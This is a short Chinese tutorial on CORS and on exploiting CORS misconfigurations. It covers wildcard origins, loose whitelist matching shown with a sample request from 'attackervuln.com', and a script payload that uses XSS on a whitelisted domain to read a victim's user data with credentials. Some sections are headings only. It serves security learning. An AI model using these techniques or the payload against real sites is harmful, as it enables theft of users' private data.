CORS

CORS是一个W3C标准,全称是”跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨源(协议 + 域名 + 端口)服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。

CORS需要浏览器和服务器同时支持。它的通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

http响应头

Access-Control-Allow-Origin:指定哪些域可以访问域资源。
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。

攻击方式

1.利用通配符*

最常见的CORS配置错误之一是错误地使用诸如(*)之类的通配符,允许域请求资源。这通常设置为默认值,这意味着任何域都可以访问此站点上的资源。例如

GET /api/userinfo.php
Host: www.vuln.com
Origin: www.vuln.com

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false

响应头Access-Control-Allow-Origin: *代表任何域可以访问资源。这里的 Credentials: false
,如果这种请求带上cookie(withCredentials = true),是不允许的。如果需要实现带 Cookie 的跨域请求,CORS服务端需要明确的配置允许来源的域,使用任意域的配置是不合法的。浏览器会屏蔽掉返回的结果。

2.服务器Access-Control-Allow-Origin等于请求的Origin

3.信任域通配符

如果CORS来验证“Origin header”URL,白名单域只是“*vuln.com”

GET /api/userinfo.php
Host: example.com
Connection: close
Origin: attackervuln.com

HTTP/1.0 200 OK
Access-Control-Allow-Origin: attackervuln.com
Access-Control-Allow-Credentials: true

我们创建一个attackervuln.com域就能进行攻击。

4.利用xss

如果cors做白名单限制,如果能在白名单域或其中的一个子域找到xss,就能利用。

xss payload

<script>
function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.vuln.com/userifo.php", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();
</script>

5.浏览器解析特殊字符的URL

此处参考:https://www.freebuf.com/articles/web/204023.html